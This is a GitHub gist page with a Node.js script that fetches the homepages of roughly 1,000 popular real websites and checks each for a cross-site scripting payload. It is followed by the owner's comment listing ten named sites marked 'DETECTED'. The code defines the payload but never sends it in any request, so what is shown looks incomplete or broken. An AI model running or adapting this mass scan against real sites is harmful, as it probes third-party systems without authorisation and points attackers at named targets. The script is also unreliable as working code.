Create a gist now

Instantly share code, notes, and snippets.

var http = require('follow-redirects').http;
//top 1000
var domains = ["google.com","facebook.com","youtube.com","yahoo.com","baidu.com","wikipedia.org","qq.com","linkedin.com","live.com","twitter.com","amazon.com","blogspot.com","taobao.com","google.co.in","sina.com.cn","wordpress.com","yahoo.co.jp","yandex.ru","bing.com","ebay.com","google.de","vk.com","hao123.com","163.com","tumblr.com","pinterest.com","google.co.uk","google.fr","googleusercontent.com","microsoft.com","msn.com","ask.com","mail.ru","google.co.jp","google.com.br","weibo.com","apple.com","paypal.com","google.ru","instagram.com","google.com.hk","xvideos.com","blogger.com","google.it","tmall.com","google.es","imdb.com","soso.com","craigslist.org","sohu.com","360.cn","go.com","amazon.co.jp","stackoverflow.com","bbc.co.uk","xhamster.com","google.com.mx","neobux.com","google.ca","fc2.com","cnn.com","imgur.com","alibaba.com","wordpress.org","flickr.com","espn.go.com","adcash.com","huffingtonpost.com","odnoklassniki.ru","t.co","conduit.com","thepiratebay.sx","vube.com","gmw.cn","amazon.de","akamaihd.net","google.com.tr","youku.com","pornhub.com","about.com","reddit.com","godaddy.com","ebay.de","aliexpress.com","blogspot.in","google.com.au","adobe.com","bp.blogspot.com","ku6.com","rakuten.co.jp","google.pl","ebay.co.uk","dailymotion.com","cnet.com","uol.com.br","vimeo.com","ifeng.com","dailymail.co.uk","netflix.com","amazon.co.uk","aol.com","xinhuanet.com","youporn.com","adf.ly","kickass.to","themeforest.net","redtube.com","google.com.ar","people.com.cn","dropbox.com","livejasmin.com","sogou.com","globo.com","google.com.sa","nytimes.com","amazonaws.com","indiatimes.com","slideshare.net","google.nl","xnxx.com","google.com.eg","secureserver.net","pixnet.net","avg.com","wikimedia.org","fiverr.com","hootsuite.com","directrev.com","livejournal.com","deviantart.com","babylon.com","ameblo.jp","alipay.com","google.com.pk","livedoor.com","google.com.tw","yelp.com","media.tumblr.com","aweber.com","outbrain.com","blogfa.com","wikia.com","etsy.com","booking.com","china.com.cn","mediafire.com","google.co.th","google.co.za","flipkart.com","foxnews.com","weather.com","mozilla.org","torrentz.eu","addthis.com","4shared.com","w3schools.com","stumbleupon.com","sourceforge.net","jd.com","forbes.com","theguardian.com","yesky.com","liveinternet.ru","delta-search.com","wikihow.com","salesforce.com","archive.org","badoo.com","hostgator.com","bankofamerica.com","it168.com","google.co.ve","files.wordpress.com","buzzfeed.com","espncricinfo.com","adrotator.se","google.co.id","chase.com","statcounter.com","spiegel.de","reference.com","warriorforum.com","java.com","tube8.com","google.com.co","onclickads.net","indeed.com","softonic.com","google.gr","soundcloud.com","walmart.com","mailchimp.com","skype.com","google.com.vn","zedo.com","ask.fm","bet365.com","allegro.pl","mashable.com","photobucket.com","google.be","github.com","clkmon.com","naver.com","xyxy.net","tripadvisor.com","google.com.ua","douban.com","bannersdontwork.com","nbcnews.com","google.com.ng","wordreference.com","thefreedictionary.com","shutterstock.com","onet.pl","mywebsearch.com","taringa.net","bild.de","gamer.com.tw","sharelive.net","wellsfargo.com","blogspot.com.es","wsj.com","google.cn","php.net","nicovideo.jp","google.se","amazon.fr","goo.ne.jp","answers.com","telegraph.co.uk","leboncoin.fr","pandora.com","samsung.com","popads.net","moz.com","nfl.com","weebly.com","uploaded.net","empowernetwork.com","pcpop.com","google.com.ph","washingtonpost.com","chinaz.com","naver.jp","usatoday.com","ups.com","rutracker.org","google.ro","yieldmanager.com","caijing.com.cn","comcast.net","zillow.com","wix.com","qvo6.com","stackexchange.com","rambler.ru","ucoz.ru","google.com.pe","rediff.com","gmx.net","google.dz","ikea.com","businessinsider.com","google.at","domaintools.com","kaskus.co.id","qtrax.com","so.com","mercadolivre.com.br","loading-delivery1.com","ehow.com","tianya.cn","jrj.com.cn","google.com.sg","google.ch","bleacherreport.com","in.com","histats.com","google.cl","constantcontact.com","avito.ru","goodreads.com","scribd.com","wp.pl","upworthy.com","dmm.co.jp","codecanyon.net","reuters.com","yoka.com","xing.com","hulu.com","bitly.com","hp.com","free.fr","usps.com","disqus.com","fedex.com","lady8844.com","google.pt","goal.com","olx.in","hudong.com","hardsextube.com","cj.com","libero.it","gsmarena.com","snapdeal.com","google.com.bd","56.com","bloomberg.com","detik.com","mobile01.com","clickbank.com","ndtv.com","web.de","infusionsoft.com","hurriyet.com.tr","m2newmedia.com","putlocker.com","marca.com","google.co.kr","nih.gov","americanexpress.com","ebay.in","siteadvisor.com","google.cz","bestbuy.com","orange.fr","ign.com","bluehost.com","imageshack.us","meetup.com","cnzz.com","varzesh3.com","linkbucks.com","9gag.com","target.com","youjizz.com","milliyet.com.tr","kooora.com","webmd.com","quikr.com","tudou.com","ig.com.br","motherless.com","surveymonkey.com","istockphoto.com","xe.com","w3.org","beeg.com","zippyshare.com","4dsply.com","bitauto.com","tinyurl.com","kakaku.com","groupon.com","google.no","odesk.com","pof.com","ebay.it","getresponse.com","joomla.org","repubblica.it","doubleclick.com","hdfcbank.com","extratorrent.cc","blogspot.de","dell.com","yandex.ua","habrahabr.ru","optmd.com","force.com","techcrunch.com","drudgereport.com","elpais.com","google.co.hu","google.com.my","tagged.com","salesresourcepartners.com","feedly.com","ad6media.fr","speedtest.net","zendesk.com","google.ae","iqiyi.com","google.ie","ebay.com.au","ettoday.net","123rf.com","thefreecamsecret.com","doorblog.jp","cbssports.com","cloudfront.net","goo.gl","ameba.jp","seznam.cz","quora.com","time.com","ck101.com","beva.com","blackhatworld.com","freelancer.com","amazon.cn","google.az","snapdo.com","list-manage.com","microsoftonline.com","nba.com","gazeta.pl","retailmenot.com","doublepimp.com","rapidgator.net","pchome.net","renren.com","t-online.de","xgo.com.cn","typepad.com","huanqiu.com","goodgamestudios.com","google.dk","abril.com.br","twoo.com","rt.com","match.com","uimserv.net","twitch.tv","jimdo.com","google.co.il","pch.com","latimes.com","elmundo.es","att.com","webs.com","webcrawler.com","subscene.com","webmoney.ru","elance.com","eyny.com","exoclick.com","icicibank.com","terra.com.br","commentcamarche.net","tmz.com","capitalone.com","amazon.it","fotolia.com","nydailynews.com","58.com","aili.com","vnexpress.net","backpage.com","abcnews.go.com","intoday.in","timeanddate.com","naukri.com","xda-developers.com","engadget.com","corriere.it","irctc.co.in","issuu.com","oracle.com","ning.com","chaturbate.com","myfreecams.com","mercadolibre.com.ar","swagbucks.com","gotomeeting.com","lenovo.com","semrush.com","searchengines.ru","blogbeast.com","lemonde.fr","okcupid.com","sahibinden.com","lenta.ru","jabong.com","chip.de","zing.vn","fbcdn.net","citrixonline.com","ce.cn","daum.net","justdial.com","digg.com","opensiteexplorer.org","taleo.net","narod.ru","kickstarter.com","soku.com","drtuber.com","who.is","hubspot.com","clicksor.com","liveleak.com","gutefrage.net","altervista.org","youm7.com","newegg.com","homedepot.com","pconline.com.cn","informer.com","hatena.ne.jp","shareasale.com","marketwatch.com","sape.ru","lifehacker.com","foursquare.com","livescore.com","2ch.net","accuweather.com","gameforge.com","expedia.com","ebay.fr","kijiji.ca","blogspot.ru","namecheap.com","google.sk","hypergames.net","lefigaro.fr","wired.com","mihanblog.com","hubpages.com","amazon.in","ya.ru","amung.us","onlinesbi.com","kinopoisk.ru","en.wordpress.com","wiktionary.org","seesaa.net","xunlei.com","rbc.ru","sberbank.ru","free-tv-video-online.me","yaolan.com","probux.com","onlylady.com","55bbs.com","intuit.com","clixsense.com","bodybuilding.com","voc.com.cn","coccoc.com","news.com.au","examiner.com","myntra.com","cbslocal.com","zeobit.com","hotels.com","over-blog.com","baomihua.com","mercadolibre.com.mx","bhaskar.com","youdao.com","moneycontrol.com","verizonwireless.com","adultfriendfinder.com","majesticseo.com","houzz.com","ero-advertising.com","foxsports.com","github.io","oneindia.in","linksynergy.com","trulia.com","steampowered.com","tabelog.com","jquery.com","mlb.com","monster.com","eventbrite.com","website-unavailable.com","traidnt.net","life.com.tw","theblaze.com","systweak.com","cnbc.com","turbobit.net","templatemonster.com","eonline.com","chinabyte.com","searchgol.com","battle.net","eazel.com","shaadi.com","blogspot.jp","asos.com","softpedia.com","cy-pr.com","scoop.it","urbandictionary.com","virgilio.it","stockstar.com","6.cn","tradedoubler.com","coupons.com","macys.com","mp3skull.com","126.com","leo.org","behance.net","autohome.com.cn","evernote.com","mysearchresults.com","gc.ca","persianblog.ir","yellowpages.com","kompas.com","citibank.com","b5m.com","jobrapido.com","filehippo.com","gogetlinks.net","4399.com","allrecipes.com","lanacion.com.ar","tutsplus.com","cbsnews.com","google.fi","searchengineland.com","google.kz","tomshardware.com","zanox.com","gawker.com","viadeo.com","zimbio.com","fhserve.com","dict.cc","amazon.es","squidoo.com","pclady.com.cn","nhl.com","agoda.com","adscale.de","spotscenered.info","vitaminl.tv","tokobagus.com","babytree.com","clarin.com","farsnews.com","eastmoney.com","spankwire.com","gizmodo.com","ovh.net","bravotube.net","pengyou.com","europa.eu","iminent.com","mobile.de","ca.gov","hidemyass.com","rottentomatoes.com","eastday.com","jqw.com","nifty.com","indianrail.gov.in","ancestry.com","nordstrom.com","howstuffworks.com","2345.com","immobilienscout24.de","ezinearticles.com","taboola.com","gap.com","etao.com","letitbit.net","chexun.com","aizhan.com","rednet.cn","sapo.pt","mynet.com","m-w.com","ppstream.com","p5w.net","ctrip.com","babycenter.com","nokia.com","movie4k.to","linkwithin.com","ci123.com","workercn.cn","pr-cy.ru","cracked.com","dreamstime.com","lequipe.fr","pixiv.net","theverge.com","allocine.fr","facenama.com","blackberry.com","addmefast.com","twimg.com","outlook.com","custhelp.com","zappos.com","sakura.ne.jp","blogspot.com.ar","pcbaby.com.cn","slate.com","sears.com","all-free-download.com","wetransfer.com","flipora.com","businessweek.com","google.lk","qianyan001.com","independent.co.uk","greatappsdownload.com","google.com.kw","npr.org","porntube.com","magentocommerce.com","chron.com","cntv.cn","chinanews.com","online.sh.cn","deezer.com","glassdoor.com","feedburner.com","mercadolibre.com.ve","filestube.com","idnes.cz","focus.de","vk.me","likes.com","screencast.com","myegy.com","klikbca.com","woorank.com","subito.it","people.com","ellechina.com","sulekha.com","google.bg","airtel.in","kayak.com","prestashop.com","ibm.com","lipixeltrack.com","keepvid.com","shopclues.com","slickdeals.net","bankmellat.ir","enet.com.cn","pinshan.com","anonym.to","4chan.org","wunderground.com","southwest.com","google.com.ec","zoho.com","as.com","gulfup.com","duckduckgo.com","sfgate.com","funnie.st","google.co.nz","foodnetwork.com","heise.de","nuvid.com","ria.ru","basecamp.com","ixxx.com","mega.co.nz","mackolik.com","maktoob.com","mpnrs.com","okwave.jp","gamefaqs.com","careerbuilder.com","priceline.com","incredibar.com","overstock.com","mapquest.com","r10.net","azlyrics.com","cam4.com","jeuxvideo.com","folha.uol.com.br","dx.com","homeway.com.cn","logmein.com","interia.pl","xtube.com","hongkiat.com","rayli.com.cn","yify-torrents.com","espnfc.com","imagebam.com","hespress.com","24h.com.vn","verizon.com","streamcloud.eu","brainyquote.com","csdn.net","tlbb8.com","amazon.ca","pcmag.com","searchnu.com","haberturk.com","searchenginewatch.com","dhgate.com","myspace.com","nationalgeographic.com","biblegateway.com","mirror.co.uk","biglobe.ne.jp","dmoz.org","pantip.com","bhphotovideo.com","nypost.com","bitshare.com","jvzoo.com","gobookee.org","keezmovies.com","digitalpoint.com","sitepoint.com","haber7.com","reverso.net","nu.nl","prweb.com","fatakat.com","bloglovin.com","usmagazine.com","rutor.org","google.com.do","android.com","bestblackhatforum.com","jobfindgold.info","welt.de","novinky.cz","sahadan.com","today.com","steamcommunity.com","dianping.com","trklnks.com","searchfun.in","yandex.com.tr","whitepages.com","ahrefs.com","realtor.com","nikkei.com","battlefield.com","kioskea.net","delicious.com","leagueoflegends.com","seekingalpha.com","lowes.com","way2sms.com","52pk.net","milanuncios.com","dafont.com","largeporntube.com","rightmove.co.uk","viralnova.com","webhostingtalk.com","fifa.com","patch.com","mayoclinic.com","incredibar-search.com","rakuten.ne.jp","xcar.com.cn","elegantthemes.com","kohls.com","worldstarhiphop.com","nownews.com","gogvo.com","ad4game.com","xhamstercams.com","zol.com.cn","pixlr.com","tabnak.ir","linternaute.com","pornerbros.com","4tube.com","vice.com","sfr.fr","zhaopin.com","ovh.com","delta-homes.com","smh.com.au","digikala.com","tradus.com","sex.com","woothemes.com","wanggou.com","telegraaf.nl","icicibank.co.in","ccb.com","graphicriver.net","zazzle.com","sweetpacks-search.com","gumtree.com","primewire.ag","panet.co.il","peyvandha.ir","manta.com","box.com","correios.com.br","inbox.com","drupal.org","pagesjaunes.fr","gtmetrix.com","isohunt.com","staples.com","yomiuri.co.jp","gamespot.com","makeuseof.com","xiaomi.com","barnesandnoble.com","mediaset.it","state.gov","united.com","adnxs.com","payoneer.com","mysql.com","v9.com","youtube-mp3.org","wretch.cc","google.by","grooveshark.com","marktplaats.nl","video-one.com","tribalfusion.com","ucoz.com","xbox.com","exblog.jp","mgid.com","flippa.com","hm.com","nation.com","excite.co.jp","yourlust.com","orf.at","pingdom.com","alimama.com","mbc.net","entrepreneur.com","yandex.kz","klout.com","smashingmagazine.com","acesse.com","1und1.de","eluniversal.com.mx","cafemom.com","tripadvisor.co.uk","infolinks.com","yixun.com","google.com.ly","avast.com","infobae.com","anysex.com","thechive.com","icloud.com","ebay.es","buscape.com.br","google.hr","fool.com","aftonbladet.se","idealo.de","delta.com","aparat.com","skyrock.com","last.fm","slimspots.com","pcgames.com.cn","rozblog.com","makemytrip.com","cbs.com","prothom-alo.com","mama.cn","mixi.jp","dubizzle.com","livedoor.biz","wmtransfer.com","caixa.gov.br","getbootstrap.com","wiocha.pl","infowars.com","comcast.com","google.rs","squarespace.com","forexfactory.com","disney.go.com","sueddeutsche.de","bbc.com","dealfish.co.th","nmisr.com","prntscr.com","eztv.it","wishink.net","dantri.com.vn","viooz.co","hi5.com","nike.com","mangareader.net","cheezburger.com","premierleague.com","viva.co.id"];
var payload = '\'"><img src=x onerror=alert(0)>'
process.on('uncaughtException', function ( err ) {
console.error('An uncaughtException was found, the program will end.');
});
for(var i in domains){
var d = domains[i];
var check = 'http://'+d+'/';
var cb = (function(check){
return function(r){
var body = '';
r.on('data', function(chunk) {
body += chunk.toString();
});
r.on('end',function(){
if( body.indexOf('<img src=x onerror=alert(0)>') != -1){
console.log('DETECTED:', check);
}
})
}
})(check)
http.get(check, cb).on('error',function(e){
//console.log(e)
})
}
@homakov
Owner
homakov commented Nov 9, 2013
DETECTED: http://moz.com/
DETECTED: http://zippyshare.com/
DETECTED: http://filehippo.com/
DETECTED: http://pr-cy.ru/
DETECTED: http://wikia.com/
DETECTED: http://usmagazine.com/
DETECTED: http://linternaute.com/
DETECTED: http://rightmove.co.uk/
DETECTED: http://rottentomatoes.com/
DETECTED: http://comcast.net/
@homakov
Owner
homakov commented Feb 2, 2014

@homakov
Owner
homakov commented Feb 2, 2014

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment